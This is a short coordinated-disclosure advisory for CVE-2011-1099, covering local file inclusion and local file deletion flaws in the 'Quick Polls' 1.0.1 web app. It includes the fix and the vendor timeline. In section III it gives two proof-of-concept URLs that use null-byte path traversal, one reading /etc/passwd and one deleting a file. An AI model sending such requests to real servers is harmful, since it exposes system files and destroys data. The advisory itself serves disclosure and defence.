'Quick Polls' Local File Inclusion & Deletion Vulnerabilities (CVE-2011-1099)
Mark Stanislav - mark.stanislav@gmail.com


I. DESCRIPTION
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Two vulnerabilities exist in 'Quick Polls' providing local file inclusion & local file deletion due to null-byte attacks against functions in index.php.


II. TESTED VERSION
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1.0.1


III. PoC EXPLOITS
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LFI: http://example.com/quickpolls/?fct=preview&p=../../../../../../../etc/passwd%00
LFD: http://example.com/quickpolls/?fct=delete&p=../../../../../../../tmp/foobar%00


IV. NOTES
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* magic_quotes_gpc must be disabled for null-byte attacks to work


V. SOLUTION
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Upgrade to 1.0.2 or above


VI. REFERENCES
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http://www.focalmedia.net/create_voting_poll.html
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1099
http://www.uncompiled.com/2011/03/quick-polls-local-file-inclusion-deletion-vulnerabilities-cve-2011-1099/


VII. TIMELINE
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02/05/2011 - Initial vendor disclosure
02/07/2011 - Vendor patched and released an updated version
02/07/2011 - Confirmed public disclosure date with vendor
03/06/2011 - Public disclosure